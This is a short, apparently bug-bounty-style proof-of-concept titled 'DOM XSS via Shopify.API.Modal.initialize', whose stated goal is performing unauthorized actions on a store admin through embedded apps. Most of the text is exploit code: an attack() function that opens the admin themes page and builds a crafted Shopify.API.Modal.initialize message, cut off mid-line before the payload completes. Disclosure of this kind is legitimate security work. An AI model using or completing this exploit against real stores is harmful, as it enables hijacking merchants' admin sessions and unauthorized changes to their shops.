DOM XSS via Shopify.API.Modal.initialize

Perform unauthorized actions on a store admin on any embedded apps.

<script>
    function attack(){
        const ctx = window.open(location.origin+'/admin/themes', '_blank')
        const json = {
            message: "Shopify.API.Modal.initialize",
            data: {
                src: ""
            }
        }

        let interval;
        interval = …